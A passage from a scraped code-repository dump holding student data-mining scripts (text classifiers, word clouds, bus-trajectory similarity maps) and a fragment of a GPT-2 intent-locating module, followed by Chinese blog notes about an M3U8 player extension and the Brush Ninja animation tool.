list(df['intent']))]\n\n def load_semantic(self, fname):\n with open(fname) as f:\n word_score = json.load(f)\n \n intent_related_words = {}\n for intent, scores in word_score.items():\n intent_related_words[intent] = []\n for score in scores:\n if score[1] > self.args.threshold:\n intent_related_words[intent].append(score[0])\n return intent_related_words\n\n @torch.no_grad()\n def generate_word_score(self):\n\n gpt2 = GPT2LMHeadModel.from_pretrained(self.args.gpt_path, return_dict=True).to(self.args.device)\n clm = ConditionalLM(self.args.gpu, self.args.dataset, self.args.label_num).to(self.args.device)\n clm.load_state_dict(torch.load('output/params/{}/{}.pt'.format(self.args.dataset, self.args.cond_name), \\\n map_location='cuda: {}'.format(self.args.gpu) if self.args.gpu != -1 else 'cpu'))\n \n gpt2.eval()\n clm.eval()\n\n self.tokenizer = init_tokenizer(self.args.gpt_path)\n train_loader = self.create_loader(self.args.train, False)\n\n output = 'output/locating/{}/{}.csv'.format(self.args.dataset, self.args.llr_name)\n\n with open(output, \"w\", encoding='utf-8') as f:\n for X_in, X_out, mask, length, y, intent in tqdm(train_loader):\n logProb_Cond = compute_logProb(X_out, clm(X_in, y))\n logProb = compute_logProb(X_out, gpt2(input_ids=X_in, attention_mask=mask).logits)\n llr = logProb_Cond - logProb\n for x, ratio, label in zip(X_out, llr, intent):\n f.write(\"{},\".format(label))\n f.write(\",\".join(self.tokenizer.batch_decode(x.reshape(1,-1))[0].replace(\"<|endoftext|>\",\"\").split()))\n f.write(\"\\n,\"+ \",\".join([str(r.item()) for r in ratio])+ \"\\n\")\n\n summary = {}\n with open(output) as f:\n for i, line in enumerate(f):\n line = line.strip()\n if i % 2 == 0:\n text = line.split(',')\n else:\n score = list(map(float, line.split(',')[1:]))\n if text[0] not in summary:\n summary[text[0]]={}\n for j, w in enumerate(text[1:]):\n if w in en_stopwords: # not necessary\n continue\n if w not in summary[text[0]]:\n summary[text[0]][w]=score[j]\n else:\n summary[text[0]][w]+=score[j]\n old_summary = summary\n summary = {}\n for key in old_summary:\n summary[key] = Counter(old_summary[key]).most_common(10)\n\n with open('output/locating/{}/{}.json'.format(self.args.dataset, self.args.word_score_name), 'w') as f:\n json.dump(summary, f, indent=4)\n \n\n def create_loader(self, file_name, shuffle):\n dataset = CLMDataset(file_name, self.tokenizer, self.args.device)\n loader = DataLoader(dataset=dataset, batch_size=self.args.batch_size, shuffle=shuffle, drop_last=False)\n return loader\n\n def generate_masked_utts(self):\n utt_intents = self.load_utt_intent(self.args.train)\n intent_related_words = self.load_semantic('output/locating/{}/{}.json'.format(self.args.dataset, self.args.word_score_name))\n # print(intent_related_words)\n\n masked_utts = {'utt':[],'masked_word':[],'intent':[]}\n for utt_intent in tqdm(utt_intents):\n utt, intent = utt_intent\n if intent_related_words.get(intent, None) is None:\n continue\n for word in intent_related_words[intent]:\n if utt.count(word) == 1:\n masked_utts['utt'].append(utt.replace(word, '[MASK]'))\n masked_utts['masked_word'].append(word)\n masked_utts['intent'].append(intent)\n \n # for intent, num in intent_num.items():\n # print(intent, num)\n\n df = pd.DataFrame(masked_utts, columns=list(masked_utts.keys()), index=None)\n df.to_csv('output/locating/{}/{}.csv'.format(self.args.dataset, self.args.masked_utt_name))\n\n\nif __name__ == '__main__':\n l = LocatingModule()\n l.generate_word_score()\n l.generate_masked_utts()" } ]
1
kellymyrs/Data_Mining
https://github.com/kellymyrs/Data_Mining
b8d2166aa84a88f92cb661095cc70d95dac3bab0
e94a6c1b1dbc7cf6ac33711694b078174acc0bde
105d12a86ced5a1406f74e0b2dd26a1b34f928d7
refs/heads/master
2020-03-27T03:46:13.530916
2018-08-23T18:17:37
2018-08-23T18:17:37
145,888,575
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.7831325531005859, "alphanum_fraction": 0.823293149471283, "avg_line_length": 61.25, "blob_id": "236222100cdcdccb9610a1f970e005ed8b4b1560", "content_id": "cd0b38b9022d2515eee5703847fb96bee372b054", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 249, "license_type": "no_license", "max_line_length": 117, "num_lines": 4, "path": "/README.md", "repo_name": "kellymyrs/Data_Mining", "src_encoding": "UTF-8", "text": "# Data_Mining\nSpring Semister 2017-2018\n* Project-1 : Application of Classification Methods on .CSV files and Wordcloud Generation\n* Project-2 : Application of Classification Methods on spatiotemporal files and Visualisation of trajectories on maps\n" }, { "alpha_fraction": 0.6947149038314819, "alphanum_fraction": 0.7093185186386108, "avg_line_length": 30.9777774810791, "blob_id": "a4307f1e0a17bd5ca6c5621b4647e2818eca2363", "content_id": "dfec309d8bd6d377ce51e3b0f9536a572a90f4f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1438, "license_type": "no_license", "max_line_length": 115, "num_lines": 45, "path": "/Project_2/erwtima1.py", "repo_name": "kellymyrs/Data_Mining", "src_encoding": "UTF-8", "text": "from gmplot import gmplot\nimport pandas as pd\nfrom ast import literal_eval\n\n\ntrain_set = pd.read_csv('datasets/train_set.csv',converters={\"Trajectory\": literal_eval},index_col='tripId')\n\n#divazoume ta journey pattern id gia na vroume 5 diaforetika\ncount = 0 #plithos twn diadromwn pou tha vgaloume html arxeio\ncache_jpid = [] #lista me ta journeyPatternId twn diadromwn pou tha anaparastisoume\n\n#gia na paroume parapanw apo mia stiles xrhsimopoioyume auti ti for\nfor index, row in train_set.iterrows():\n\tif count == 5:\n\t\tbreak\n\n\t#pairnoume tous 4 prwtous xaraktires wste na vroume 5 diaforetikes diadromes\n\tfirst_four_str = row['journeyPatternId'][:4]\n\tif first_four_str not in cache_jpid:\n\t\tif row['Trajectory'] != []:\t\t\n\t\t\tcache_jpid.append(first_four_str)\n\t\t\tfinal_points = [] #lista me ta shmeia tis diadromis\n\n\t\t\t\t\t\t\n\t\t\t#print row['Trajectory']\n\t\t\tfor lists in row['Trajectory']:\n\t\t\t\tfinal_points.append((lists[1],lists[2])) #vazw sti lista tuples pou periexoun ta shmeia tis diadromis (lon,lat)\n\t\t\t#print final_points\n\t\t\t\n\n\t\t\tgmap = gmplot.GoogleMapPlotter(final_points[0][1],final_points[0][0],13)\n\t\t\t#print final_points[0][0]\n\t\t\t#print final_points[0][1]\n\n\t\t\tlongitude , latitude = zip(*final_points) \t\t\t\n\t\t\t#print latitude\n\t\t\t#print longitude\n\n\t\t\tgmap.plot(latitude, longitude, 'cornflowerblue', edge_width=10)\n\n\t\t\t# Write the map in an HTML file\n\t\t\tstr_merge = 'map' + str(count) + '.html'\n\t\t\tgmap.draw(str_merge)\n\n\t\t\tcount += 1" }, { "alpha_fraction": 0.6966292262077332, "alphanum_fraction": 0.6988763809204102, "avg_line_length": 36.125, "blob_id": "e45dea77aa2351c356e8da055943e6a9996b2d6d", "content_id": "77e18ac0b038dc692d7bc0c7ac2fe00e4c2009b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 890, "license_type": "no_license", "max_line_length": 103, "num_lines": 24, "path": "/Project_1/wordCloud.py", "repo_name": "kellymyrs/Data_Mining", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\nfrom sklearn.feature_extraction.text import ENGLISH_STOP_WORDS\nimport json\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom wordcloud import WordCloud\n\nwith open('extraStopWords.json','r') as extraStopWords:\n\textraStopWords = json.load(extraStopWords)\nstopWords = ENGLISH_STOP_WORDS.union(extraStopWords)\n\ncategories = ['Politics','Film','Football','Business','Technology']\n\ndf = pd.read_csv('./datasets/train_set.csv', sep='\\t')\n\nfor category in categories:\n print(\"Creating word cloud for: \" + category + \".\" )\n c_df = df[(df['Category']==category)]\n content = ' '.join(c_df['Title'].iloc[i] + ' ' + c_df['Content'].iloc[i] for i in range(len(c_df)))\n wordcloud = WordCloud(background_color=\"white\", stopwords=stopWords).generate(content)\n plt.imsave('WordCloud_For:_'+category+'_.png', wordcloud)\n \nprint(\"Done!\")" }, { "alpha_fraction": 0.6994302272796631, "alphanum_fraction": 0.7029914259910583, "avg_line_length": 33.24390411376953, "blob_id": "e828a6c69cceef6dbcb6363ce40ca9c6b4e7fcd6", "content_id": "9cacc5cbda5e9797270b6c874ea7beb2c67c50e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1404, "license_type": "no_license", "max_line_length": 72, "num_lines": 41, "path": "/Project_1/class_test_data.py", "repo_name": "kellymyrs/Data_Mining", "src_encoding": "UTF-8", "text": "import pandas as pd\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.decomposition import TruncatedSVD\nfrom sklearn import svm\nfrom sklearn.model_selection import GridSearchCV\nimport sys\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.feature_extraction.text import ENGLISH_STOP_WORDS\nimport json\nfrom sklearn.naive_bayes import MultinomialNB\nimport numpy as np\n\n#tha xrhsimopoihsw ton liner dioti htane o kaluteros\ndef main():\n #ta idia opws kai sto classification\n df = pd.read_csv(\"datasets/train_set.csv\", sep=\"\\t\")\n with open('extraStopWords.json','r') as extraStopWords:\n extraStopWords = json.load(extraStopWords)\n stop_words = ENGLISH_STOP_WORDS.union(extraStopWords)\n count_vect = CountVectorizer(stop_words=stop_words)\n X_train_counts = count_vect.fit_transform(df.Content)\n\n #pairnoume ta test\n df2 = pd.read_csv(\"datasets/test_set.csv\", sep=\"\\t\")\n X_test_counts = count_vect.transform(df2.Content)\n\n #SVM Linear dioti htane o kaluteros\n clf_cv = MultinomialNB().fit(X_train_counts, np.array(df.Category))\n y_pred = clf_cv.predict(X_test_counts)\n\n f = open(\"testSet_categories.csv\", \"w\")\n f.write(\"ID\\tPredicted_Category\\n\")\n i = 0\n for pred in y_pred:\n f.write(str(df2.Id[i]) + \"\\t\" + pred + \"\\n\")\n i += 1\n f.close()\n \nif __name__ == \"__main__\":\n main()\n print(\"Done\")\n" }, { "alpha_fraction": 0.5874421000480652, "alphanum_fraction": 0.599836528301239, "avg_line_length": 34.99509811401367, "blob_id": "8967fb9d17120338a28ba5b5b0208b7fd5cffeb4", "content_id": "1135a138e91112326a5c6c6625ea9f067b6efb3a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7342, "license_type": "no_license", "max_line_length": 118, "num_lines": 204, "path": "/Project_1/classification.py", "repo_name": "kellymyrs/Data_Mining", "src_encoding": "UTF-8", "text": "import pandas as pd\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.decomposition import TruncatedSVD\nfrom sklearn import svm\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import KFold\nimport numpy as np\nfrom sklearn.metrics import *\nfrom sklearn.preprocessing import label_binarize\nfrom scipy import interp\nimport matplotlib.pyplot as plt\nimport sys\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.feature_extraction.text import ENGLISH_STOP_WORDS\nimport json\nfrom sklearn.naive_bayes import MultinomialNB\nfrom scipy import spatial\nfrom sklearn.multiclass import OneVsRestClassifier\nimport operator\nimport math\n\n#klash gia statistika\nclass Metrics_for_Class:\n def __init__(self):\n self.rec = 0.0\n self.acc = 0.0\n self.prec = 0.0\n self.fl_sc = 0.0\n\ndef euclideanDist(x, xi):\n d = 0.0\n for i in range(len(x)-1):\n d += pow((float(x[i])-float(xi[i])),2) #euclidean distance\n d = math.sqrt(d)\n return d\n\nclass knn_classifier():\n def __init__(self,K):\n self.K = K\n\n def get_params(self, deep=True):\n return {'K':self.K}\n\n def set_params(self, **params):\n return True\n\n def fit(self,array, classes):\n self.train_data = list(zip(array,classes))\n return self\n\n def predict(self,test_array):\n results = []\n for test in test_data:\n distances = []\n for row in self.train_data:\n distances.append(euclideanDist(row[0], test), row[1])\n\n sorted_data = sorted(distances)\n top = sorted_data[:self.K]\n ns = {}\n for neigh in top:\n cl = neigh[1]\n if not cl in ns:\n ns[cl] = 1\n else:\n ns[cl] += 1\n results.append(max(ns, key=lambda i: ns[i]))\n return results\n\n\ndef main():\n \n #diavazoume to csv se panda kai meta ftiaxnoume ton vectorizer + kanoume trubcated gia na meiwsoume tis diastaseis\n with open('extraStopWords.json','r') as extraStopWords:\n extraStopWords = json.load(extraStopWords)\n stopWords = ENGLISH_STOP_WORDS.union(extraStopWords)\n \n df = pd.read_csv(\"datasets/train_set.csv\", sep=\"\\t\")\n \n count_vect = CountVectorizer(stop_words=stopWords)\n X_train_counts = count_vect.fit_transform(df.Content)\n svd = TruncatedSVD(n_components = 60)\n X_train_counts = svd.fit(X_train_counts)\n #edw dhmiourgoume to object gia na kanoume to cross validation\n kf = KFold(n_splits = 10)\n #fold = 0\n\n\n #edw exoume tous metrites pou xreiazontai\n #metrame se kathe epanalipsi to apotelesma kai sto telos kanoume total/10\n #0 einai gia svm\n #1 gia Nayve\n #2 gia Rnadom\n #3 gia KNN\n class_list = [Metrics_for_Class() for i in range(0,4)]\n \n #oi katigories\n categories = [\"Technology\", \"Football\", \"Film\", \"Business\",\"Politics\"]\n #kratame plhroforia gia to roc plot\n folist = []\n tlist = []\n plist = []\n filist = []\n blist = []\n #edw xwrizoum\n \n for train_index, test_index in kf.split(df.Content):\n \n #pleon kanoume mono transform edw kai oxi fit dioti tha xasoume plhrofories an kanoume neo fit\n X_train_counts3 = count_vect.transform(np.array(df.Content)[train_index])\n X_train_counts2 = svd.transform(X_train_counts3)\n\n #to idio me to panw\n X_test_counts3 = count_vect.transform(np.array(df.Content)[test_index])\n X_test_counts2 = svd.transform(X_test_counts3)\n \n #SVM\n if sys.argv[1] == \"SVM\":\n #print(\"SVM STARTED\")\n place = 0\n #parameters = {'kernel':('linear', 'rbf')}\n svr = svm.SVC(kernel = \"linear\")\n svr.fit(X_train_counts2, np.array(df.Category)[train_index])\n y_pred = svr.predict(X_test_counts2)\n y_true = np.array(df.Category)[test_index]\n class_list[0].rec += recall_score(y_true,y_pred,average = \"macro\")\n class_list[0].acc += accuracy_score(y_true,y_pred)\n class_list[0].prec += precision_score(y_true,y_pred,average = \"macro\")\n class_list[0].fl_sc += f1_score(y_true, y_pred,average = \"macro\")\n\n #NayveBayes\n elif sys.argv[1] == \"NAYVE\":\n #print(\"NAYVE_STARTED\")\n place = 1\n clf_cv = MultinomialNB().fit(X_train_counts3, np.array(df.Category)[train_index])\n y_pred = clf_cv.predict(X_test_counts3)\n y_true = np.array(df.Category)[test_index]\n class_list[1].rec += recall_score(y_true,y_pred,average = \"macro\")\n class_list[1].acc += accuracy_score(y_true,y_pred)\n class_list[1].prec += precision_score(y_true,y_pred,average = \"macro\")\n class_list[1].fl_sc += f1_score(y_true, y_pred,average = \"macro\")\n\n\n\n #RandomForest\n elif sys.argv[1] == \"RANDOM_FOREST\":\n #print(\"RANDOM_FOREST_STARTED\")\n place = 2\n clf_rf = RandomForestClassifier(n_estimators=10).fit(X_train_counts2, np.array(df.Category)[train_index])\n y_pred = clf_rf.predict(X_test_counts2)\n y_true = np.array(df.Category)[test_index]\n class_list[2].rec += recall_score(y_true,y_pred,average = \"macro\")\n class_list[2].acc += accuracy_score(y_true,y_pred)\n class_list[2].prec += precision_score(y_true,y_pred,average = \"macro\")\n class_list[2].fl_sc += f1_score(y_true, y_pred,average = \"macro\")\n\n #KNN\n elif sys.argv[1] == \"KNN\":\n place = 3\n \n K = 7\n clf_kn = knn_classifier(K).fit(X_train_counts2,np.array(df.Category)[train_index])\n\n y_pred = clf_kn.predict(X_test_counts2,X_train_counts2,K)\n y_true = np.array(df.Category)[test_index]\n class_list[3].rec += recall_score(y_true,y_pred,average = \"macro\")\n class_list[3].acc += accuracy_score(y_true,y_pred)\n class_list[3].prec += precision_score(y_true,y_pred,average = \"macro\")\n class_list[3].fl_sc += f1_score(y_true, y_pred,average = \"macro\")\n\n #upologismos meswn orwn\n class_list[place].rec = float(class_list[place].rec) / 10\n class_list[place].acc = float(class_list[place].acc) / 10\n class_list[place].prec = float(class_list[place].prec) / 10\n class_list[place].fl_sc = float(class_list[place].fl_sc) / 10\n #class_list[place].roc_auc = float(class_list[place].roc_auc) / 10\n\n #print ta apotelesmata\n f = open(\"EvaluationMetric_\" + sys.argv[1] + \".csv\", \"w\")\n f.write(\"Statistic_Metrics\\t\")\n if sys.argv[1] == \"SVM\":\n f.write(\"SVM\")\n elif sys.argv[1] == \"NAYVE\":\n f.write(\"Naive Bayes\")\n elif sys.argv[1] == \"RANDOM_FOREST\":\n f.write(\"Random Forest\")\n elif sys.argv[1] == \"KNN\":\n f.write(\"KNN\")\n f.write(\"\\n\")\n \n #grpasimo sto csv\n f.write(\"Accuracy\\t\")\n f.write(str(class_list[place].acc) + \"\\n\")\n f.write(\"Presicion\\t\")\n f.write(str(class_list[place].prec) + \"\\n\")\n f.write(\"Recall\\t\")\n f.write(str(class_list[place].rec) + \"\\n\")\n f.write(\"F_Measure\\t\")\n f.write(str(class_list[place].fl_sc) + \"\\n\")\n f.close()\n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.4827185571193695, "alphanum_fraction": 0.5349985361099243, "avg_line_length": 27.941177368164062, "blob_id": "bdd865401c0bb483cbb235c2cb34a8125a1e268f", "content_id": "1705fb18f7527a496d2284a9ab260add67b04225", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3443, "license_type": "no_license", "max_line_length": 205, "num_lines": 119, "path": "/Project_2/erwtimaA2.py", "repo_name": "kellymyrs/Data_Mining", "src_encoding": "UTF-8", "text": "import pandas as pd\nfrom haversine import haversine\nfrom ast import literal_eval\nfrom gmplot import gmplot\n\ndef sort(array):\n less = []\n equal = []\n greater = []\n\n if len(array) > 1:\n pivot = array[0][0]\n for x in array:\n if x[0] < pivot:\n less.append(x)\n if x[0] == pivot:\n equal.append(x)\n if x[0] > pivot:\n greater.append(x)\n \n return sort(less)+equal+sort(greater) \n \n else: \n return array\n\ndef e_lcss(t0, t1, eps):\n n0 = len(t0)\n n1 = len(t1)\n path = []\n # An (m+1) times (n+1) matrix\n C = [[0] * (n1 + 1) for _ in range(n0 + 1)]\n for i in range(1, n0 + 1):\n for j in range(1, n1 + 1):\n \t#print \"harvesine\"\n \tprint haversine(t0[i - 1], t1[j - 1])\n if haversine(t0[i - 1], t1[j - 1]) <= eps:\n \tC[i][j] = C[i - 1][j - 1] + 1\n \t#path.append((t0[i - 1][1],t0[i - 1][0]))\n \t#print \"---\"\n \t#print t0[i-1]\n \t#print t1[j-1]\n \t#print \"---\"\n \tpath.append(t0[i-1])\n else:\n C[i][j] = max(C[i][j - 1], C[i - 1][j])\n\tlcss = 1 - float(C[n0][n1]) / min([n0, n1])\n\tprint \"-----path of lcss----------\"\n\tprint lcss\n\treturn lcss, path\n\n\ntrain_set = pd.read_csv('datasets/train_set.csv',converters={\"Trajectory\": literal_eval},index_col='tripId',nrows=20)\ntest_set = pd.read_csv('datasets/test_set_a2.csv',converters={\"Trajectory\": literal_eval})\n\n#pairnw ena ena ta pente stoixeia apo to test_set\nfor traj in test_set['Trajectory']:\n\t#print traj\n\ttrajs = []\n\tfor tr in traj:\n\t\ttrajs.append((tr[1],tr[2]))\n\t#sygkrinw me ola ta stoixeia apo to train_set\n\tdist = []\n\tfor index, row in train_set.iterrows():\n\n\t\tpoints = []\n\t\tfor point in row['Trajectory']:\n\t\t\tpoints.append((point[1],point[2])) #vazw sti lista tuples pou periexoun ta shmeia tis diadromis (lon,lat)\n\t\t#print \"--------------------------\"\n\t\t#print \"inputs\"\n\t\t#print trajs\n\t\t#print points\t\n\t\tdistance , path = e_lcss(trajs, points, 200)\n\t\tdist.append((distance,path,row['journeyPatternId'],points)) #vazoume sti lista ena tuple pou periexei tin apostasi apo ton dtw to koino path pou mas epistrefei o dtw to journeyPatternId kai to Trajectory\n\t\t#print \"-----------------------------\"\n\t\t#print \"1111111111111111111111111\"\n\t\t#print path\n\t\t#print \"122222222222222222222222222211111111111111111111\"\n\n\t#for d in dist:\n\t#\tprint d[0]\n\tfinal_dist = sort(dist)\n\t#for d in dist1:\n\t#\tprint (d[0],d[1],d[2])\n\t\n\tcount = 0\n\tgeneric = 0\n\tfor d in final_dist:\n\t\tif count == 5 :\n\t\t\tbreak\n\n\t\tgmap = gmplot.GoogleMapPlotter(d[3][0][1],d[3][0][0],13)\n\t\t#print d[2][0][1]\n\t\t#print d[2][0][0]\n\n\t\tlongitude , latitude = zip(*d[3])\n\t\t#print \"-------------------------lat1------------------------\"\n\t\t#print longitude\n\t\t#print \"-------------------------end of lat 1-----------------\"\n\t\tlongitude2, latitude2 = zip(*d[1]) \t\n\t\t#print \"---------------------------lat2-------------------------\"\n\t\t#print longitude2\t\t\n\t\t#print \"---------------------------end of lat 2-------------------\"\n\t\t#print latitude2\n\t\t#print latitude\n\t\t#print longitude\n\n\t\tgmap.plot(latitude, longitude, 'cornflowerblue', edge_width=10)\n\n\n\t\tgmap.plot(latitude2,longitude2, 'red' ,edge_width=10)\n\n\t\t# Write the map in an HTML file\n\t\tstr_merge = 'Neighbor' + str(count+1)+ \"_gen_\" +str(generic+1) + '.html'\n\t\tgmap.draw(str_merge)\n\t\tgeneric += 1\n\n\t\tcount+=1\t\t\n\n\t#break" }, { "alpha_fraction": 0.6130653023719788, "alphanum_fraction": 0.6321607828140259, "avg_line_length": 25.546667098999023, "blob_id": "b4beb7bd48102cde296e48942a108e05c4eff384", "content_id": "244d612ec7dd6679757072b4afd262be9d89c943", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1990, "license_type": "no_license", "max_line_length": 161, "num_lines": 75, "path": "/Project_2/erwtimaA1.py", "repo_name": "kellymyrs/Data_Mining", "src_encoding": "UTF-8", "text": "from fastdtw import fastdtw\nimport pandas as pd\nfrom haversine import haversine\nfrom ast import literal_eval\nfrom gmplot import gmplot\nfrom scipy.spatial.distance import euclidean\n\ndef sort(array):\n less = []\n equal = []\n greater = []\n\n if len(array) > 1:\n pivot = array[0][0]\n for x in array:\n if x[0] < pivot:\n less.append(x)\n if x[0] == pivot:\n equal.append(x)\n if x[0] > pivot:\n greater.append(x)\n \n return sort(less)+equal+sort(greater) \n \n else: \n return array\n\ntrain_set = pd.read_csv('datasets/train_set.csv',converters={\"Trajectory\": literal_eval},index_col='tripId',nrows=20)\ntest_set = pd.read_csv('datasets/test_set_a1.csv',converters={\"Trajectory\": literal_eval})\n\n#pairnw ena ena ta pente stoixeia apo to test_set\nfor traj in test_set['Trajectory']:\n\t#print traj\n\ttrajs = []\n\tfor tr in traj:\n\t\ttrajs.append((tr[1],tr[2]))\n\t#sygkrinw me ola ta stoixeia apo to train_set\n\tdist = []\n\tfor index, row in train_set.iterrows():\n\n\t\tpoints = []\n\t\tfor point in row['Trajectory']:\n\t\t\tpoints.append((point[1],point[2])) #vazw sti lista tuples pou periexoun ta shmeia tis diadromis (lon,lat)\n\t\t\t\n\t\tdistance , path = fastdtw(trajs, points, dist=haversine)\n\t\tdist.append((distance,row['journeyPatternId'],points)) #vazoume sti lista ena tuple pou periexei tin apostasi apo ton dtw to journeyPatternId kai to Trajectory\n\n\t#for d in dist:\n\t#\tprint d[0]\n\tfinal_dist = sort(dist)\n\t#for d in dist1:\n\t#\tprint (d[0],d[1],d[2])\n\t\n\tcount = 0\n\tfor d in final_dist:\n\t\tif count == 5 :\n\t\t\tbreak\n\n\t\tgmap = gmplot.GoogleMapPlotter(d[2][0][1],d[2][0][0],13)\n\t\t#print d[2][0][1]\n\t\t#print d[2][0][0]\n\n\t\tlongitude , latitude = zip(*d[2]) \t\t\t\n\t\t#print latitude\n\t\t#print longitude\n\n\t\tgmap.plot(latitude, longitude, 'cornflowerblue', edge_width=10)\n\n\t\t# Write the map in an HTML file\n\t\tstr_merge = 'Neighbor' + str(count) + '.html'\n\t\tgmap.draw(str_merge)\n\n\t\tcount+=1\t\t\n\n\tbreak" } ]
7
gonejack/notes
https://github.com/gonejack/notes
d4ac5a9e163e5fb49ae4eaf020d42c5d368e714b
be8c1ab728c2e08c0290a313720981681d726c9d
b0064dc4f4b53ffb5cbd8971a9e2611f6f8197a7
refs/heads/master
2023-01-13T03:48:47.532173
2020-11-11T04:00:50
2020-11-11T04:00:50
310,998,047
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7376106381416321, "alphanum_fraction": 0.7685840725898743, "avg_line_length": 52.83333206176758, "blob_id": "360e9a496352741eb088c5a0f95f34f2eab32658", "content_id": "054dad6824595f60987fd9ef4698abffb061d375", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3311, "license_type": "no_license", "max_line_length": 644, "num_lines": 42, "path": "/博客/小众软件/Play HLS M3u8 – 用 Chrome 播放 M3U8 格式的直播视频.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Play HLS M3u8 – 用 Chrome 播放 M3U8 格式的直播视频\n[Play HLS M3u8](https://www.appinn.com/play-hls-m3u8-for-chrome/) 是一款可以让 Chrome 播放 M3U8 格式的直播视频的插件,只需要将 M3U8 网址输入地址栏即可,无需任何播放器。@Appinn\n\n![](assets/image_1.jpeg)\n\n在 [如何下载 flv 格式的在线视频](https://www.appinn.com/how-to-download-flv-video-on-a-website/) 的问题中,青小蛙发现了这款方便的播放工具。\n\n安装之后,扩展栏会出现一个绿色的小电视,点一下灰色就关了。\n\nPlay HLS M3u8 有点简单粗暴,它直接检测 url 里是不是包含 m3u8 这个关键词,青小蛙的一张图片也被识别为视频地址然后播放半天也播不了,人家是图片怎么能播放的出来啊,笨。\n\n不过,青小蛙还有一个问题是,这个的用途是不是有点少?你们能想到更多的用途么?\n\nPlay HLS M3u8 的 Chrome 商店地址 [在这里](https://chrome.google.com/webstore/detail/play-hls-m3u8/ckblfoghkjhaclegefojbgllenffajdc) 。\n\n> HTTP Live Streaming(缩写是HLS)是一个由苹果公司提出的基于HTTP的流媒体网络传输协议。是苹果公司QuickTime X和iPhone软件系统的一部分。它的工作原理是把整个流分成一个个小的基于HTTP的文件来下载,每次只下载一些。当媒体流正在播放时,客户端可以选择从许多不同的备用源中以不同的速率下载同样的资源,允许流媒体会话适应不同的数据速率。在开始一个流媒体会话时,客户端会下载一个包含元数据的extended M3U (m3u8) playlist文件,用于寻找可用的媒体流。 \n\n> `[维基百科](https://zh.wikipedia.org/zh-hans/HTTP_Live_Streaming)` \n\n- - - -\n\n## 相关阅读\n\n[M3U8-Downloader – 最简单的方式下载 M3U8 视频 ❲Windows❳](https://www.appinn.com/m3u8-downloader/)\n\n[如何下载《中国庭审网》等 flv 格式的在线视频?](https://www.appinn.com/how-to-download-flv-video-on-a-website/)\n\n[用 Android 手机下载 M3U8 格式的视频](https://www.appinn.com/m3u8-download-for-android/)\n\n[Chrome 4.0,用扩展武装它](https://www.appinn.com/chrome-4-extensions-setup/)\n\n[Stream Recorder – 录制直播、网课等 m3u8 + TS 视频 ❲Chrome❳](https://www.appinn.com/stream-recorder-for-chrome/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds) | [反馈](http://appinn.wufoo.com/forms/eccae-aeeae/) | [代理](http://hellohostnet.com/proxy.html) (优惠码 Appinn)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/play-hls-m3u8-for-chrome/#comments) 收藏0\n\nvia John Youi's favorite articles on Inoreader [https://ift.tt/2SuGI5h](https://ift.tt/2SuGI5h)\n\n#博客/小众软件" }, { "alpha_fraction": 0.722252607345581, "alphanum_fraction": 0.7424822449684143, "avg_line_length": 40.59090805053711, "blob_id": "889bb6b9dfb6e07680c90211c7e8f1ee2994fc0b", "content_id": "efb6390198dda0cd300e143f3670709af41b93de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2562, "license_type": "no_license", "max_line_length": 644, "num_lines": 44, "path": "/博客/小众软件/Brush Ninja – 简单易用,免费的动画制作工具 [WebmacOS].textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Brush Ninja – 简单易用,免费的动画制作工具 [Web/macOS]\n[Brush Ninja](https://www.appinn.com/brush-ninja/) 是一款简单易用的免费动画制作工具,拥有在线版本与 macOS 客户端,可以非常方便的创作出 gif 动画,就算是青小蛙这样的新手,也能画出几笔。@Appinn\n\n![](assets/image_2.jpeg)\n\nBrush Ninja 可以创建最多 1000 帧的动画(仅适用于 macOS 客户端),只需要使用鼠标或者手写笔就能绘制出来。\n\nBrush Ninja 提供了 5 个工具,包括刷子、形状、线条、橡皮擦、文字,适合非专业选手为自己的博客或者社交网络创作简单易懂的动画。\n\n![](assets/image_4.jpeg)\n\n支持自定义背景(来自 Unsplash)、自定义水印、快捷键支持,几分钟就能创建出简单的动画,导出 gif 文件。Brush Ninja 官网 [在这里](https://brush.ninja/) 。\n\n画风呢,一般是这样的:\n\n![](assets/image_3.gif)\n\n![](assets/image_1.gif)\n\n欢迎在留言里分享你的创作。\n\n- - - -\n\n## 相关阅读\n\n[Ninja:可以在后台打开网页的 Android 浏览器](https://www.appinn.com/ninja-for-android/)\n\n[Ninja SMS – 体验如 Chat Heads 